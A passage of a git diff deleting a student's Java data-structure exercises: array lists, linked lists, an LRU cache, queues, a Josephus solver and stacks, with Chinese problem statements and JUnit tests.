-import com.coding.basic.linklist.LinkedList;
-
-public class Queue {
-
-    private LinkedList linkedList = new LinkedList();
-
-    public void enQueue(Object o) {
-        linkedList.add(o);
-    }
-
-    public Object deQueue() {
-        return linkedList.removeFirst();
-    }
-
-    public boolean isEmpty() {
-        return linkedList.size() == 0;
-    }
-
-    public int size() {
-        return linkedList.size();
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java
deleted file mode 100644
index 43bdae82fa..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java
+++ /dev/null
@@ -1,83 +0,0 @@
-package com.coding.basic.array;
-
-import java.util.Arrays;
-
-import com.coding.basic.Iterator;
-import com.coding.basic.List;
-
-public class ArrayList implements List {
-
-    private int size = 0;
-
-    private int HALF_MAX_VALUE = Integer.MAX_VALUE;
-
-    private Object[] elementData = new Object[100];
-
-    public void add(Object o) {
-        if (noSpace()) {
-            elementData = grow();
-        }
-        elementData[size++] = o;
-    }
-
-    public void add(int index, Object o) {
-        if (index < 0) {
-            throw new IllegalArgumentException("index must be positive integer");
-        }
-        if (index > size) {
-            throw new IndexOutOfBoundsException("size is" + size);
-        }
-        if (noSpace()) {
-            elementData = grow();
-        }
-        System.arraycopy(elementData, index, elementData, index + 1, size - index);
-        elementData[size++] = o;
-    }
-
-    public Object get(int index) {
-        if (index < 0) {
-            throw new IllegalArgumentException("index must be positive integer");
-        }
-        if (index > (size - 1)) {
-            throw new IndexOutOfBoundsException("size is" + size);
-        }
-        return elementData[index];
-    }
-
-    public Object remove(int index) {
-        if (index < 0) {
-            throw new IllegalArgumentException("index must be positive integer");
-        }
-        if (index > (size - 1)) {
-            throw new IndexOutOfBoundsException("size is" + size);
-        }
-        Object obj = elementData[index];
-        System.arraycopy(elementData, index + 1, elementData, index, size - index);
-        elementData[size-1] = null;
-        size--;
-        return obj;
-    }
-
-    public int size() {
-        return size;
-    }
-
-    public Iterator iterator() {
-        return null;
-    }
-
-    private boolean noSpace() {
-        return size == elementData.length;
-    }
-
-    private Object[] grow() {
-        int newSize;
-        if (size < HALF_MAX_VALUE) {
-            newSize = size * 2;
-        } else {
-            newSize = Integer.MAX_VALUE;
-        }
-        return Arrays.copyOf(elementData, newSize);
-    }
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java
deleted file mode 100644
index 8e1b170dc0..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java
+++ /dev/null
@@ -1,210 +0,0 @@
-package com.coding.basic.array;
-
-import java.util.Arrays;
-
-public class ArrayUtil {
-	
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换
-		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * @param origin
-	 * @return
-	 */
-	public int[] reverseArray(int[] origin){
-		int len = origin.length;
-		int[] ret = new int[len];
-		for(int i=0;i<len;i++){
-			ret[i] = origin[len-i-1];
-		}
-		origin = null;
-		return ret;
-	}
-	
-	/**
-	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
-	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
-	 * @param oldArray
-	 * @return
-	 */
-	
-	public int[] removeZero(int[] oldArray){
-		int[] ret = new int[oldArray.length];
-		int zeroNum = 0;
-		int tmp;
-		int retIndex = 0;
-		for(int i=0;i<oldArray.length;i++){
-			tmp = oldArray[i];
-			if(tmp == 0){
-				zeroNum++;
-			}else{
-				ret[retIndex++] = tmp;
-			}
-		}
-		if(zeroNum == 0){
-			return oldArray;
-		}else{
-			return Arrays.copyOf(ret, retIndex);
-		}
-	}
-	
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-	public int[] merge(int[] array1, int[] array2){
-		int[] ret = new int[array1.length + array2.length];
-		int i1 = 0, i2 = 0;
-		int val1, val2;
-		int sameNum = 0;
-		int len1 = array1.length-1, len2 = array2.length -1;
-		for(int i=0;i<ret.length;){
-			if(i1 <= len1 && i2 <= len2){
-				val1 = array1[i1];
-				val2 = array2[i2];
-				if(val1 < val2){
-					ret[i++] = val1;
-					i1++;
-				}else if(val1 == val2){
-					sameNum++;
-					i2++;
-				}else{
-					ret[i++] = val2;
-					i2++;
-				}
-			}else{
-				if(i1 > len1 && i2 > len2){
-					break;
-				}else if(i1 > len1){
-					ret[i++] = array2[i2++];
-				}else{
-					ret[i++] = array1[i1++];
-				}
-			}
-				
-		}
-		if(sameNum > 0){
-			ret = Arrays.copyOf(ret, ret.length - sameNum);
-		}
-		return ret;
-	}
-	
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持
-	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int [] oldArray,  int size){
-		return Arrays.copyOf(oldArray, oldArray.length + size);
-	}
-	
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-	 * max = 1, 则返回空数组 []
-	 * @param max
-	 * @return
-	 */
-	public int[] fibonacci(int max){
-		if(max == 1){
-			return new int[0];
-		}else{
-			int[] tmp = new int[max + 1];
-			int x1 = 1, x2 = 1;
-			int i = 1, j = 0;
-			tmp[j++] = x1;
-			tmp[j++] = x2;
-			while(true){
-				i = x1 + x2;
-				if(i > max){
-					break;
-				}
-				x1 = x2;
-				x2 = i;
-				tmp[j++] = i;
-			}
-			return Arrays.copyOf(tmp, j);
-		}
-	}
-	
-	/**
-	 * 返回小于给定最大值max的所有素数数组
-	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * @param max
-	 * @return
-	 */
-	public int[] getPrimes(int max){
-		int[] tmp = new int[max/2 + 1];
-		boolean isPrime;
-		int k = 0;
-		for(int i=2;i<max;i++){
-			isPrime = true;
-			for(int j=2;j<i;j++){
-				if(i % j == 0 && i != j){
-					isPrime = false;
-					break;
-				}
-			}
-			if(isPrime){
-				tmp[k++] = i;
-			}
-		}
-		return Arrays.copyOf(tmp, k);
-	}
-	
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max){
-		if(max < 3){
-			return new int[0];
-		}
-		int[] tmp = new int[max/6];
-		int[] factors;
-		int i = 0, l, sum;
-		for(int j=2;j<max;j++){
-			l = 0;sum = 1;
-			factors = new int[j];
-			for(int k=2;k<j;k++){
-				if(j % k == 0 && j != k){
-					factors[l++] = k;
-				}
-			}
-			for(int m=0;m<l;m++){
-				sum += factors[m];
-			}
-			if(sum == j){
-				tmp[i++] = j;
-			}
-		}
-		return Arrays.copyOf(tmp, i);
-	}
-	
-	/**
-	 * 用seperator 把数组 array给连接起来
-	 * 例如array= [3,8,9], seperator = "-"
-	 * 则返回值为"3-8-9"
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public String join(int[] array, String seperator){
-		StringBuilder sb = new StringBuilder();
-		for (int i = 0; i < array.length; i++) {
-			sb.append(array[i]).append(seperator);
-		}
-		return sb.length() == 0? "" : sb.substring(0, sb.length() - 1);
-	}
-	
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
deleted file mode 100644
index 50bfb30412..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
+++ /dev/null
@@ -1,112 +0,0 @@
-package com.coding.basic.linklist;
-
-/**
- * 用双向链表实现LRU算法
- * @author liuxin
- *
- */
-public class LRUPageFrame {
-	
-	private static class Node {
-		
-		Node prev;
-		Node next;
-		int pageNum;
-
-		Node(int pageNum) {
-			this.pageNum = pageNum;
-		}
-	}
-
-	private int capacity;
-	
-	
-	private Node first;// 链表头
-	private Node last;// 链表尾
-	
-	private int size;
-
-	
-	public LRUPageFrame(int capacity) {
-		
-		this.capacity = capacity;
-		
-	}
-
-	/**
-	 * 获取缓存中对象
-	 * 
-	 * @param key
-	 * @return
-	 */
-	public void access(int pageNum) {
-		/**
-		 * 1、链表为空，直接插入first
-		 * 2、链表未满，往链尾追加
-		 * 3、链表已满，判断链表中是否存在pageNum，若存在，把pageNum，移到链尾；若不存在，把链头删除，把pageNum追加到链尾
-		 */
-		Node newNode = new Node(pageNum);
-		if(size < capacity){
-			if(size == 0){
-				first = newNode;
-			}else{
-				last.next = newNode;
-				newNode.prev = last;
-			}
-			last = newNode;
-			size++;
-			return ;
-		}
-		Node existNode = null;
-		Node tmp = first;
-		do{
-			if(tmp.pageNum == pageNum){
-				existNode = tmp;
-			}
-			tmp = tmp.next;
-		}while(tmp != null);
-		if(existNode == null || existNode == first){
-			tmp = first.next;
-			tmp.prev = null;
-			first = tmp;//链首变为链首后一个节点
-			last.next = newNode;
-			newNode.prev = last;
-			last = newNode;//链尾追加新节点
-		}else if(existNode == last){
-				return ;
-		}else{
-			/**
-			 * 已存在节点的上一个节点的下一个节点指向已存在节点的下一个节点
-			 * 
-			 */
-			Node prev = existNode.prev;
-			Node next = existNode.next;
-			prev.next = next;
-			next.prev = prev;
-			if(prev.prev == null){
-				first = prev;
-			}
-			newNode.prev = last;
-			last.next = newNode;
-			last = newNode;
-			existNode = null;
-		}
-	}
-	
-	
-
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		Node node = last;
-		while(node != null){
-			buffer.append(node.pageNum);			
-			
-			node = node.prev;
-			if(node != null){
-				buffer.append(",");
-			}
-		}
-		return buffer.toString();
-	}
-	
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
deleted file mode 100644
index c4645c6869..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coding.basic.linklist;
-
-import  org.junit.Assert;
-
-import org.junit.Test;
-
-
-public class LRUPageFrameTest {
-	
-	@Test
-	public void testAccess() {
-		LRUPageFrame frame = new LRUPageFrame(3);
-		frame.access(7);
-		frame.access(0);
-		frame.access(1);
-		Assert.assertEquals("1,0,7", frame.toString());
-		frame.access(2);
-		Assert.assertEquals("2,1,0", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(3);
-		Assert.assertEquals("3,0,2", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,3,2", frame.toString());
-		frame.access(4);
-		Assert.assertEquals("4,0,3", frame.toString());
-	}
-	
-	@Test
-	public void testAccessCustom() {
-		LRUPageFrame frame = new LRUPageFrame(5);
-		frame.access(7);
-		frame.access(0);
-		frame.access(1);
-		frame.access(5);
-		frame.access(3);
-		Assert.assertEquals("3,5,1,0,7", frame.toString());
-		frame.access(2);
-		Assert.assertEquals("2,3,5,1,0", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,3,5,1", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,3,5,1", frame.toString());
-		frame.access(3);
-		Assert.assertEquals("3,0,2,5,1", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,3,2,5,1", frame.toString());
-		frame.access(4);
-		Assert.assertEquals("4,0,3,2,5", frame.toString());
-		frame.access(5);
-		Assert.assertEquals("5,4,0,3,2", frame.toString());
-		frame.access(2);
-		Assert.assertEquals("2,5,4,0,3", frame.toString());
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java
deleted file mode 100644
index b6f57e977d..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java
+++ /dev/null
@@ -1,402 +0,0 @@
-package com.coding.basic.linklist;
-
-
-import java.util.NoSuchElementException;
-
-import com.coding.basic.Iterator;
-import com.coding.basic.List;
-
-public class LinkedList implements List {
-
-    private Node head;
-    private int size;
-
-    public void add(Object o) {
-        Node newNode = new Node(o, null);
-        if (head == null) {
-            head = newNode;
-        } else {
-            Node tmp = head;
-            while (tmp.next != null) {
-                tmp = tmp.next;
-            }
-            tmp.next = newNode;
-        }
-        size++;
-    }
-
-    public void add(int index, Object o) {
-        checkMinBound(index);
-        checkMaxBound(index, size);
-        Node newNode = new Node(o, null);
-        if (index == 0) {
-            newNode.next = head;
-            head = newNode;
-        } else {
-            int pos = 1;
-            Node tmp = head;
-            while (pos != index) {
-                tmp = tmp.next;
-                pos++;
-            }
-            newNode.next = tmp.next;
-            tmp.next = newNode;
-        }
-        size++;
-
-    }
-
-    private void checkMinBound(int index) {
-        if (index < 0) {
-            throw new IllegalArgumentException();
-        }
-    }
-
-    private void checkMaxBound(int index, int max) {
-        if (index > max) {
-            throw new IndexOutOfBoundsException();
-        }
-    }
-
-
-    public Object get(int index) {
-        checkMinBound(index);
-        checkMaxBound(index, size - 1);
-        Node cur = head;
-        if (index != 0) {
-            int pos = 0;
-            do {
-                cur = cur.next;
-                pos++;
-            } while (pos != index);
-        }
-        return cur.data;
-    }
-
-    public Object remove(int index) {
-        checkMinBound(index);
-        checkMaxBound(index, size - 1);
-        Node cur = head;
-        if (index == 0) {
-            head = cur.next;
-        } else {
-            int pos = 1;
-            Node prev = cur;
-            while (pos != index) {
-                prev = prev.next;
-                pos++;
-            }
-            cur = prev.next;
-            prev.next = cur.next;
-        }
-        size--;
-        return cur.data;
-    }
-
-    public int size() {
-        return size;
-    }
-
-    public void addFirst(Object o) {
-        Node newNode = new Node(o, null);
-        newNode.next = head;
-        head = newNode;
-        size++;
-    }
-
-    public void addLast(Object o) {
-        Node newNode = new Node(o, null);
-        if (head == null) {
-            head = newNode;
-        } else {
-            Node tmp = head;
-            while (tmp.next != null) {
-                tmp = tmp.next;
-            }
-            tmp.next = newNode;
-        }
-        size++;
-    }
-
-    public Object removeFirst() {
-        if (head == null) {
-            throw new NoSuchElementException();
-        }
-        Node ret = head;
-        head = head.next;
-        size--;
-        return ret.data;
-    }
-
-    public Object removeLast() {
-        if (head == null) {
-            throw new NoSuchElementException();
-        }
-        Node ret;
-        if (head.next == null) {
-            ret = head;
-            head = null;
-        } else {
-            Node prev = head;
-            ret = head.next;
-            while (ret.next != null) {
-                prev = ret;
-                ret = ret.next;
-            }
-            prev.next = null;
-        }
-        size--;
-        return ret.data;
-    }
-
-    public Iterator iterator() {
-        return null;
-    }
-
-
-    private static class Node {
-        Object data;
-        Node next;
-
-        public Node(Object data, Node next) {
-            this.data = data;
-            this.next = next;
-        }
-
-    }
-
-    /**
-     * 把该链表逆置
-     * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-     */
-    public void reverse() {
-    	if(size == 0 || size == 1){
-    		return ;
-    	}
-    	Node node = head;
-    	Node nextNode = head.next;
-    	Node tmp;
-    	node.next = null;
-    	do{
-    		tmp = nextNode.next;
-    		nextNode.next = node;
-    		node = nextNode;
-    		nextNode = tmp;
-    	}while(nextNode != null);
-    	head = node;
-    }
-
-    /**
-     * 删除一个单链表的前半部分
-     * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-     * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-     */
-    public void removeFirstHalf() {
-    	if(size == 0 || size == 1){
-    		return ;
-    	}
-    	int num = size / 2;
-    	size -= num;
-    	Node node = head;
-    	while(num > 0){
-    		node = node.next;
-    		num--;
-    	}
-    	head = node;
-    }
-    
-    /**
-     * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-     *
-     * @param i
-     * @param length
-     */
-    public void remove(int i, int length) {
-    	checkMinBound(i);
-    	checkMaxBound(i + length, size);
-    	Node prev = null;
-    	Node node = head;
-    	int index = 0;
-    	while(index < i){
-    		prev = node;
-    		node = node.next;
-    		index++;
-    	}
-    	Node nextNode = node.next;
-    	while(index < (i + length - 1)){
-    		nextNode = nextNode.next;
-    		index++;
-    	}
-    	size -= length;
-    	if(i == 0){
-    		head = nextNode;
-    	}else{
-    		prev.next = nextNode;
-    		head = prev;
-    	}
-    }
-
-    /**
-     * 假定当前链表和list均包含已升序排列的整数
-     * 从当前链表中取出那些list所指定的元素
-     * 例如当前链表 = 11->101->201->301->401->501->601->701
-     * listB = 1->3->4->6
-     * 返回的结果应该是[101,301,401,601]
-     *
-     * @param list
-     */
-    public int[] getElements(LinkedList list) {
-    	int[] ret = new int[list.size()];
-    	if(ret.length == 0){
-    		return ret;
-    	}
-    	int index;
-    	int j = 0;
-    	Node node = head;
-    	for(int i=0;i<list.size();i++){
-    		index = (int)list.get(i);
-    		while(j < index){
-    			node = node.next;
-    			if(node == null){
-    				throw new IndexOutOfBoundsException();
-    			}
-    			j++;
-    		}
-    		ret[i] = (int)node.data;
-    	}
-    	return ret;
-    }
-
-    /**
-     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-     * 从当前链表中中删除在list中出现的元素
-     *
-     * @param list
-     */
-
-    public void subtract(LinkedList list) {
-    	if(size == 0){
-    		return ;
-    	}
-    	Node prev = null;
-    	Node node = head;
-    	int data;
-    	for(int i=0;i<list.size();i++){
-    		data = (int)list.get(i);
-    		do{
-    			if(data == (int)node.data){
-    				if(prev == null){
-    					head = node.next;
-    				}else{
-    					prev.next = node.next;
-    				}
-    				size--;
-    				node = node.next;
-    				break;
-    			}
-    			prev = node;
-    		}while((node = node.next) != null);
-    	}
-    }
-
-    /**
-     * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-     * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-     */
-    public void removeDuplicateValues() {
-    	if(size == 0 || size == 1){
-    		return ;
-    	}
-    	Node node = head;
-    	Node next = node.next;
-    	do{
-    		if((int)node.data == (int)next.data){
-    			node.next = next.next;
-    			size--;
-    		}else{
-    			node = node.next;
-    		}
-    		next = next.next;
-    	}while(next != null);
-    }
-
-    /**
-     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-     * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-     *
-     * @param min
-     * @param max
-     */
-    public void removeRange(int min, int max) {
-    	Node prev = null;
-    	Node node = head;
-    	boolean foundMin = false;
-    	do{
-    		if(!foundMin && (int)node.data > min){
-    			foundMin = true;
-    		}
-    		if(foundMin && (int)node.data > max){
-    			break;
-    		}
-    		if(foundMin == false){
-    			prev = node;
-    		}else{
-    			size -= 1;
-    		}
-    		node = node.next;
-    	}while(node != null);
-    	if(prev == null){
-    		head = node;
-    	}else{
-    		prev.next = node;
-    	}
-    }
-
-    /**
-     * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-     * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-     *
-     * @param list
-     */
-    public LinkedList intersection(LinkedList list) {
-    	LinkedList ret = new LinkedList();
-    	Node node = head;
-    	int nodeValue;
-    	int elementValue;
-    	for(int i=0;i<list.size();i++){
-    		nodeValue = (int)node.data;
-    		elementValue = (int)list.get(i);
-    		if(nodeValue == elementValue){
-    			ret.add(nodeValue);
-    		}else if(nodeValue < elementValue){
-    			node = node.next;
-    			while(node != null){
-    				nodeValue = (int)node.data;
-    				if(nodeValue == elementValue){
-    					ret.add(nodeValue);
-    					node = node.next;
-    					break;
-    				}else if(nodeValue > elementValue){
-    					break;
-    				}
-    				node = node.next;
-    			}
-    		}
-    	}
-        return ret;
-    }
-    
-    public String toString(){
-    	Node node = head;
-    	StringBuilder sb = new StringBuilder();
-    	if(node == null){
-    		return "";
-    	}else{
-    		sb.append(head.data);
-    		while((node = node.next) != null){
-    			sb.append(",").append(node.data);
-    		}
-    		return sb.toString();
-    	}
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/CircleQueue.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/CircleQueue.java
deleted file mode 100644
index eeed686419..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/queue/CircleQueue.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coding.basic.queue;
-
-/**
- * 用数组实现循环队列
- * @author liuxin
- *
- * @param <E>
- */
-public class CircleQueue <E> {
-	
-	private final static int DEFAULT_SIZE = 10;
-	
-	//用数组来保存循环队列的元素
-	private Object[] elementData = new Object[DEFAULT_SIZE] ;
-	
-	private int maxSize = DEFAULT_SIZE;
-	
-	//队头
-	private int front = 0;  
-	//队尾  
-	private int rear = 0;
-	
-	public CircleQueue(int maxSize){
-		elementData = new Object[maxSize];
-		this.maxSize = maxSize;
-	}
-	
-	public boolean isEmpty() {
-		return rear == front;
-        
-    }
-
-    public int size() {
-        return rear - front;
-    }
-
-    
-
-    public void enQueue(E data) {
-        if((rear+1)%maxSize == front){
-        	throw new FullQueueException();
-        }
-        elementData[rear] = data;
-        rear = (rear + 1) % maxSize;
-    }
-
-    public E deQueue() {
-    	if(rear == front){
-    		throw new EmptyQueueException();
-    	}
-    	E data = (E)elementData[front];
-    	elementData[front] = null;
-    	front = (front + 1) % maxSize;
-        return data;
-    }
-    
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/EmptyQueueException.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/EmptyQueueException.java
deleted file mode 100644
index 925c9de7ec..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/queue/EmptyQueueException.java
+++ /dev/null
@@ -1,14 +0,0 @@
-package com.coding.basic.queue;
-
-public class EmptyQueueException extends RuntimeException {
-	
-	private static final long serialVersionUID = 7013504079461713464L;
-
-	public EmptyQueueException() {
-        super();
-    }
-	
-	public EmptyQueueException(String message) {
-        super(message);
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/FullQueueException.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/FullQueueException.java
deleted file mode 100644
index 96cc1ab4fb..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/queue/FullQueueException.java
+++ /dev/null
@@ -1,14 +0,0 @@
-package com.coding.basic.queue;
-
-public class FullQueueException extends RuntimeException {
-	
-	private static final long serialVersionUID = 5782713639805661798L;
-
-	public FullQueueException() {
-        super();
-    }
-	
-	public FullQueueException(String message) {
-        super(message);
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/Josephus.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/Josephus.java
deleted file mode 100644
index 8400d503b4..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/queue/Josephus.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.basic.queue;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * 用Queue来实现Josephus问题
- * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
- * 该方法返回一个List， 包含了被杀死人的次序
- * @author liuxin
- *
- */
-public class Josephus {
-	
-	public static List<Integer> execute(int n, int m){
-		List<Integer> numbers = new ArrayList<>();
-		CircleQueue<Integer> queue = new CircleQueue<>(n+1);
-		for(int i=0;i<n;i++){
-			queue.enQueue(i);
-		}
-		while(!queue.isEmpty()){
-			int i = 1;
-			while(i < m){
-				Integer num = queue.deQueue();
-				queue.enQueue(num);
-				i++;
-			}
-			numbers.add(queue.deQueue());
-		}
-		return numbers;
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/JosephusTest.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/JosephusTest.java
deleted file mode 100644
index 5a15ea8f84..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/queue/JosephusTest.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coding.basic.queue;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-
-public class JosephusTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testExecute() {
-		
-		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
-		Assert.assertEquals("[1, 2, 0]", Josephus.execute(3, 5).toString());
-		
-	}
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/Queue.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/Queue.java
deleted file mode 100644
index c4c4b7325e..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/queue/Queue.java
+++ /dev/null
@@ -1,61 +0,0 @@
-package com.coding.basic.queue;
-
-import java.util.NoSuchElementException;
-
-public class Queue<E> {
-    private Node<E> first;    
-    private Node<E> last;     
-    private int size;               
-
-    
-    private static class Node<E> {
-        private E item;
-        private Node<E> next;
-    }
-
-    
-    public Queue() {
-        first = null;
-        last  = null;
-        size = 0;
-    }
-
-    
-    public boolean isEmpty() {
-        return first == null;
-    }
-
-    public int size() {
-        return size;
-    }
-
-    
-
-    public void enQueue(E data) {
-        Node<E> oldlast = last;
-        last = new Node<E>();
-        last.item = data;
-        last.next = null;
-        if (isEmpty()) {
-        	first = last;
-        }
-        else{
-        	oldlast.next = last;
-        }
-        size++;
-    }
-
-    public E deQueue() {
-        if (isEmpty()) {
-        	throw new NoSuchElementException("Queue underflow");
-        }
-        E item = first.item;
-        first = first.next;
-        size--;
-        if (isEmpty()) {
-        	last = null;  
-        }
-        return item;
-    }
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java
deleted file mode 100644
index d56e7b97ff..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coding.basic.queue;
-
-import java.util.Stack;
-
-/**
- * 用两个栈来实现一个队列
- * @author liuxin
- *
- * @param <E>
- */
-public class QueueWithTwoStacks<E> {
-	private Stack<E> stack1;    
-    private Stack<E> stack2;    
-
-    
-    public QueueWithTwoStacks() {
-        stack1 = new Stack<E>();
-        stack2 = new Stack<E>();
-    }
-
-   
-    
-
-    public boolean isEmpty() {
-        return stack1.size() == 0;
-    }
-
-
-    
-    public int size() {
-        return stack1.size();   
-    }
-
-
-
-    public void enQueue(E item) {
-        stack1.push(item);
-    }
-
-    public E deQueue() {
-    	while(!stack1.isEmpty()){
-    		stack2.push(stack1.pop());
-    	}
-    	E data = stack2.pop();
-    	while(!stack2.isEmpty()){
-    		stack1.push(stack2.pop());
-    	}
-        return data;
-    }
-
-
-
- }
-
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/QuickMinStack.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/QuickMinStack.java
deleted file mode 100644
index a04191da19..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/QuickMinStack.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.coding.basic.stack;
-
-import java.util.Arrays;
-
-/**
- * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
- * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
- * @author liuxin
- *
- */
-public class QuickMinStack {
-	
-	int[] datas = new int[10];
-	int size;
-	int minIndex;
-	
-	public void push(int data){
-		checkAndresize();
-		datas[size] = data;
-		if(datas[minIndex] > data){
-			minIndex = size;
-		}
-		size++;
-	}
-	
-	public int pop(){
-		checkOutBound();
-		return datas[size-1];
-	}
-	public int findMin(){
-		checkOutBound();
-		return datas[minIndex];
-	}
-	
-	private void checkAndresize() {
-		if(size == datas.length){
-			datas = Arrays.copyOf(datas, datas.length*2);
-		}
-	}
-	private void checkOutBound(){
-		if(size <= 0){
-			throw new IndexOutOfBoundsException();
-		}
-	}
-}
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/Stack.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/Stack.java
deleted file mode 100644
index 58a4846f2b..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/Stack.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package com.coding.basic.stack;
-
-import java.util.EmptyStackException;
-
-import com.coding.basic.array.ArrayList;
-
-public class Stack {
-    private ArrayList elementData = new ArrayList();
-
-    public void push(Object o) {
-        elementData.add(o);
-    }
-
-    public Object pop() {
-        checkBound();
-        return elementData.remove(size() - 1);
-    }
-
-    public Object peek() {
-        checkBound();
-        return elementData.get(size() - 1);
-    }
-
-    public boolean isEmpty() {
-        return size() == 0;
-    }
-
-    public int size() {
-        return elementData.size();
-    }
-
-    private void checkBound() {
